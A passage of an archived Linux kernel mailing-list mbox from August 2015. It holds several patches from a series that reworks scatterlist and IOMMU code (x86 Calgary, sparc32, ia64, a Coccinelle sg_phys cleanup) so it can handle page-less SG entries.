        by eddie.linux-mips.org with ESMTP id S27010209AbbHLHI5Iuonj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:08:57 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9Q-0001RU-Vr; Wed, 12 Aug 2015 07:08:41 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48776
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49930 gmane.linux.kernel:2018370 gmane.linux.kernel.cross-arch:28835 gmane.linux.ports.alpha:3276 gmane.linux.ports.ia64:25675 gmane.linux.kernel.metag:586 gmane.linux.ports.parisc:25902 gmane.linux.ports.ppc64.devel:116727 gmane.linux.ports.sparc:21381 gmane.linux.drivers.video-input-infrastructure:93925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49930>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 include/linux/scatterlist.h | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/include/linux/scatterlist.h b/include/linux/scatterlist.h
index 9b1ef0c..b1056bf 100644
--- a/include/linux/scatterlist.h
+++ b/include/linux/scatterlist.h
@@ -230,6 +230,16 @@ static inline dma_addr_t sg_phys(struct scatterlist *sg)
 	return page_to_phys(sg_page(sg)) + sg->offset;
 }
 
+static inline unsigned long sg_pfn(struct scatterlist *sg)
+{
+	return page_to_pfn(sg_page(sg));
+}
+
+static inline bool sg_has_page(struct scatterlist *sg)
+{
+	return true;
+}
+
 /**
  * sg_virt - Return virtual address of an sg entry
  * @sg:      SG entry
-- 
1.9.1




From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 05/31] x86/pci-calgary: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:24 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <1439363150-8661-6-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363372 25795 80.91.229.3 (12 Aug 2015 07:09:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:09:32 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 12 09:09:29 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZPQA8-0005bE-70
	for glk-linux-kernel-3@plane.gmane.org; Wed, 12 Aug 2015 09:09:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965002AbbHLHJM (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:12 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:52951 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934057AbbHLHI7 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 12 Aug 2015 03:08:59 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQ9c-0001VM-Gw; Wed, 12 Aug 2015 07:08:52 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2018371 gmane.linux.kernel.cross-arch:28836 gmane.linux.ports.alpha:3277 gmane.linux.ports.ia64:25676 gmane.linux.kernel.metag:587 gmane.linux.ports.mips.general:49931 gmane.linux.ports.parisc:25903 gmane.linux.ports.ppc64.devel:116728 gmane.linux.ports.sparc:21382 gmane.linux.drivers.video-input-infrastructure:93926
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2018371>

For the iommu offset we just need and offset into the page.  Calculate
that using the physical address instead of using the virtual address
so that we don't require a virtual mapping.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/kernel/pci-calgary_64.c | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/arch/x86/kernel/pci-calgary_64.c b/arch/x86/kernel/pci-calgary_64.c
index 0497f71..8f1581d 100644
--- a/arch/x86/kernel/pci-calgary_64.c
+++ b/arch/x86/kernel/pci-calgary_64.c
@@ -368,16 +368,14 @@ static int calgary_map_sg(struct device *dev, struct scatterlist *sg,
 {
 	struct iommu_table *tbl = find_iommu_table(dev);
 	struct scatterlist *s;
-	unsigned long vaddr;
+	unsigned long paddr;
 	unsigned int npages;
 	unsigned long entry;
 	int i;
 
 	for_each_sg(sg, s, nelems, i) {
-		BUG_ON(!sg_page(s));
-
-		vaddr = (unsigned long) sg_virt(s);
-		npages = iommu_num_pages(vaddr, s->length, PAGE_SIZE);
+		paddr = sg_phys(s);
+		npages = iommu_num_pages(paddr, s->length, PAGE_SIZE);
 
 		entry = iommu_range_alloc(dev, tbl, npages);
 		if (entry == DMA_ERROR_CODE) {
@@ -389,7 +387,7 @@ static int calgary_map_sg(struct device *dev, struct scatterlist *sg,
 		s->dma_address = (entry << PAGE_SHIFT) | s->offset;
 
 		/* insert into HW table */
-		tce_build(tbl, entry, npages, vaddr & PAGE_MASK, dir);
+		tce_build(tbl, entry, npages, paddr & PAGE_MASK, dir);
 
 		s->dma_length = s->length;
 	}
-- 
1.9.1


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 15/31] sparc32/iommu: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:34 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <1439363150-8661-16-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363386 25919 80.91.229.3 (12 Aug 2015 07:09:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:09:46 +0000 (UTC)
Cc: dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org,
	hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org, realmz6-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	dwmw2-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, alex.williamson-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	linux-nvdimm-y27Ovi1pjclAfugRpC6u6w@public.gmane.org, linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org, axboe-tSWWG44O7X1aa/9Udqfwiw@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Aug 12 09:09:39 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZPQAM-0005lk-12
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 12 Aug 2015 09:09:38 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S934115AbbHLHJc (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:32 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53151 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965007AbbHLHJ1 (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 12 Aug 2015 03:09:27 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQA5-0001gv-J2; Wed, 12 Aug 2015 07:09:22 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:588 gmane.linux.kernel:2018372 gmane.linux.kernel.cross-arch:28837 gmane.linux.ports.alpha:3278 gmane.linux.ports.ia64:25677 gmane.linux.ports.mips.general:49932 gmane.linux.ports.parisc:25904 gmane.linux.ports.ppc64.devel:116729 gmane.linux.ports.sparc:21383 gmane.linux.drivers.video-input-infrastructure:93927
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/588>

Pass a PFN to iommu_get_one instad of calculating it locall from a
page structure so that we don't need pages for every address we can
DMA to or from.

Also further restrict the cache flushing as we now have a non-highmem
way of not kernel virtual mapped physical addresses.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/sparc/mm/iommu.c | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/arch/sparc/mm/iommu.c b/arch/sparc/mm/iommu.c
index 491511d..3ed53d7 100644
--- a/arch/sparc/mm/iommu.c
+++ b/arch/sparc/mm/iommu.c
@@ -174,7 +174,7 @@ static void iommu_flush_iotlb(iopte_t *iopte, unsigned int niopte)
 	}
 }
 
-static u32 iommu_get_one(struct device *dev, struct page *page, int npages)
+static u32 iommu_get_one(struct device *dev, unsigned long pfn, int npages)
 {
 	struct iommu_struct *iommu = dev->archdata.iommu;
 	int ioptex;
@@ -183,7 +183,7 @@ static u32 iommu_get_one(struct device *dev, struct page *page, int npages)
 	int i;
 
 	/* page color = pfn of page */
-	ioptex = bit_map_string_get(&iommu->usemap, npages, page_to_pfn(page));
+	ioptex = bit_map_string_get(&iommu->usemap, npages, pfn);
 	if (ioptex < 0)
 		panic("iommu out");
 	busa0 = iommu->start + (ioptex << PAGE_SHIFT);
@@ -192,11 +192,11 @@ static u32 iommu_get_one(struct device *dev, struct page *page, int npages)
 	busa = busa0;
 	iopte = iopte0;
 	for (i = 0; i < npages; i++) {
-		iopte_val(*iopte) = MKIOPTE(page_to_pfn(page), IOPERM);
+		iopte_val(*iopte) = MKIOPTE(pfn, IOPERM);
 		iommu_invalidate_page(iommu->regs, busa);
 		busa += PAGE_SIZE;
 		iopte++;
-		page++;
+		pfn++;
 	}
 
 	iommu_flush_iotlb(iopte0, npages);
@@ -214,7 +214,7 @@ static u32 iommu_get_scsi_one(struct device *dev, char *vaddr, unsigned int len)
 	off = (unsigned long)vaddr & ~PAGE_MASK;
 	npages = (off + len + PAGE_SIZE-1) >> PAGE_SHIFT;
 	page = virt_to_page((unsigned long)vaddr & PAGE_MASK);
-	busa = iommu_get_one(dev, page, npages);
+	busa = iommu_get_one(dev, page_to_pfn(page), npages);
 	return busa + off;
 }
 
@@ -243,7 +243,7 @@ static void iommu_get_scsi_sgl_gflush(struct device *dev, struct scatterlist *sg
 	while (sz != 0) {
 		--sz;
 		n = (sg->length + sg->offset + PAGE_SIZE-1) >> PAGE_SHIFT;
-		sg->dma_address = iommu_get_one(dev, sg_page(sg), n) + sg->offset;
+		sg->dma_address = iommu_get_one(dev, sg_pfn(sg), n) + sg->offset;
 		sg->dma_length = sg->length;
 		sg = sg_next(sg);
 	}
@@ -264,7 +264,8 @@ static void iommu_get_scsi_sgl_pflush(struct device *dev, struct scatterlist *sg
 		 * XXX Is this a good assumption?
 		 * XXX What if someone else unmaps it here and races us?
 		 */
-		if ((page = (unsigned long) page_address(sg_page(sg))) != 0) {
+		if (sg_has_page(sg) &&
+		    (page = (unsigned long) page_address(sg_page(sg))) != 0) {
 			for (i = 0; i < n; i++) {
 				if (page != oldpage) {	/* Already flushed? */
 					flush_page_for_dma(page);
@@ -274,7 +275,7 @@ static void iommu_get_scsi_sgl_pflush(struct device *dev, struct scatterlist *sg
 			}
 		}
 
-		sg->dma_address = iommu_get_one(dev, sg_page(sg), n) + sg->offset;
+		sg->dma_address = iommu_get_one(dev, sg_pfn(sg), n) + sg->offset;
 		sg->dma_length = sg->length;
 		sg = sg_next(sg);
 	}
-- 
1.9.1


From - Thu Nov 08 21:37:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 02/31] scatterlist: use sg_phys()
Date: Wed, 12 Aug 2015 09:05:21 +0200
Lines: 123
Approved: news@gmane.org
Message-ID: <1439363150-8661-3-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363387 25923 80.91.229.3 (12 Aug 2015 07:09:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:09:47 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:09:37 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQAK-0005ld-Ec
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:09:36 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:36456 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011300AbbHLHJdNY1cj (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:09:33 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:09:18 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:34772 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27010962AbbHLHI5YtCXj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:08:57 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQ9T-0001S4-QB; Wed, 12 Aug 2015 07:08:44 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48777
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49933 gmane.linux.kernel:2018373 gmane.linux.kernel.cross-arch:28838 gmane.linux.ports.alpha:3279 gmane.linux.ports.ia64:25678 gmane.linux.kernel.metag:589 gmane.linux.ports.parisc:25905 gmane.linux.ports.ppc64.devel:116730 gmane.linux.ports.sparc:21384 gmane.linux.drivers.video-input-infrastructure:93928
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49933>

From: Dan Williams <dan.j.williams@intel.com>

Coccinelle cleanup to replace open coded sg to physical address
translations.  This is in preparation for introducing scatterlists that
reference __pfn_t.

// sg_phys.cocci: convert usage page_to_phys(sg_page(sg)) to sg_phys(sg)
// usage: make coccicheck COCCI=sg_phys.cocci MODE=patch

virtual patch

@@
struct scatterlist *sg;
@@

- page_to_phys(sg_page(sg)) + sg->offset
+ sg_phys(sg)

@@
struct scatterlist *sg;
@@

- page_to_phys(sg_page(sg))
+ sg_phys(sg) & PAGE_MASK

Signed-off-by: Dan Williams <dan.j.williams@intel.com>
---
 arch/arm/mm/dma-mapping.c                    | 2 +-
 arch/microblaze/kernel/dma.c                 | 3 +--
 drivers/iommu/intel-iommu.c                  | 4 ++--
 drivers/iommu/iommu.c                        | 2 +-
 drivers/staging/android/ion/ion_chunk_heap.c | 4 ++--
 5 files changed, 7 insertions(+), 8 deletions(-)

diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index cba12f3..3d3d6aa 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -1520,7 +1520,7 @@ static int __map_sg_chunk(struct device *dev, struct scatterlist *sg,
 		return -ENOMEM;
 
 	for (count = 0, s = sg; count < (size >> PAGE_SHIFT); s = sg_next(s)) {
-		phys_addr_t phys = page_to_phys(sg_page(s));
+		phys_addr_t phys = sg_phys(s) & PAGE_MASK;
 		unsigned int len = PAGE_ALIGN(s->offset + s->length);
 
 		if (!is_coherent &&
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index bf4dec2..c89da63 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -61,8 +61,7 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	/* FIXME this part of code is untested */
 	for_each_sg(sgl, sg, nents, i) {
 		sg->dma_address = sg_phys(sg);
-		__dma_sync(page_to_phys(sg_page(sg)) + sg->offset,
-							sg->length, direction);
+		__dma_sync(sg_phys(sg), sg->length, direction);
 	}
 
 	return nents;
diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c
index 0649b94..3541d65 100644
--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -2097,7 +2097,7 @@ static int __domain_mapping(struct dmar_domain *domain, unsigned long iov_pfn,
 			sg_res = aligned_nrpages(sg->offset, sg->length);
 			sg->dma_address = ((dma_addr_t)iov_pfn << VTD_PAGE_SHIFT) + sg->offset;
 			sg->dma_length = sg->length;
-			pteval = page_to_phys(sg_page(sg)) | prot;
+			pteval = (sg_phys(sg) & PAGE_MASK) | prot;
 			phys_pfn = pteval >> VTD_PAGE_SHIFT;
 		}
 
@@ -3623,7 +3623,7 @@ static int intel_nontranslate_map_sg(struct device *hddev,
 
 	for_each_sg(sglist, sg, nelems, i) {
 		BUG_ON(!sg_page(sg));
-		sg->dma_address = page_to_phys(sg_page(sg)) + sg->offset;
+		sg->dma_address = sg_phys(sg);
 		sg->dma_length = sg->length;
 	}
 	return nelems;
diff --git a/drivers/iommu/iommu.c b/drivers/iommu/iommu.c
index f286090..049df49 100644
--- a/drivers/iommu/iommu.c
+++ b/drivers/iommu/iommu.c
@@ -1408,7 +1408,7 @@ size_t default_iommu_map_sg(struct iommu_domain *domain, unsigned long iova,
 	min_pagesz = 1 << __ffs(domain->ops->pgsize_bitmap);
 
 	for_each_sg(sg, s, nents, i) {
-		phys_addr_t phys = page_to_phys(sg_page(s)) + s->offset;
+		phys_addr_t phys = sg_phys(s);
 
 		/*
 		 * We are mapping on IOMMU page boundaries, so offset within
diff --git a/drivers/staging/android/ion/ion_chunk_heap.c b/drivers/staging/android/ion/ion_chunk_heap.c
index 5474615..f7b6ef9 100644
--- a/drivers/staging/android/ion/ion_chunk_heap.c
+++ b/drivers/staging/android/ion/ion_chunk_heap.c
@@ -81,7 +81,7 @@ static int ion_chunk_heap_allocate(struct ion_heap *heap,
 err:
 	sg = table->sgl;
 	for (i -= 1; i >= 0; i--) {
-		gen_pool_free(chunk_heap->pool, page_to_phys(sg_page(sg)),
+		gen_pool_free(chunk_heap->pool, sg_phys(sg) & PAGE_MASK,
 			      sg->length);
 		sg = sg_next(sg);
 	}
@@ -109,7 +109,7 @@ static void ion_chunk_heap_free(struct ion_buffer *buffer)
 							DMA_BIDIRECTIONAL);
 
 	for_each_sg(table->sgl, sg, table->nents, i) {
-		gen_pool_free(chunk_heap->pool, page_to_phys(sg_page(sg)),
+		gen_pool_free(chunk_heap->pool, sg_phys(sg) & PAGE_MASK,
 			      sg->length);
 	}
 	chunk_heap->allocated -= allocated_size;
-- 
1.9.1




From - Thu Nov 08 21:37:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 17/31] ia64/sba_iommu: remove sba_sg_address
Date: Wed, 12 Aug 2015 09:05:36 +0200
Lines: 112
Approved: news@gmane.org
Message-ID: <1439363150-8661-18-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363392 25981 80.91.229.3 (12 Aug 2015 07:09:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:09:52 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
	hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
	dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
	dwmw2@infradead.org, alex.williamson@redhat.com,
	grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Aug 12 09:09:42 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1ZPQAM-0005lk-Jc
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 12 Aug 2015 09:09:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934122AbbHLHJf (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Wed, 12 Aug 2015 03:09:35 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53185 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934121AbbHLHJd (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 12 Aug 2015 03:09:33 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
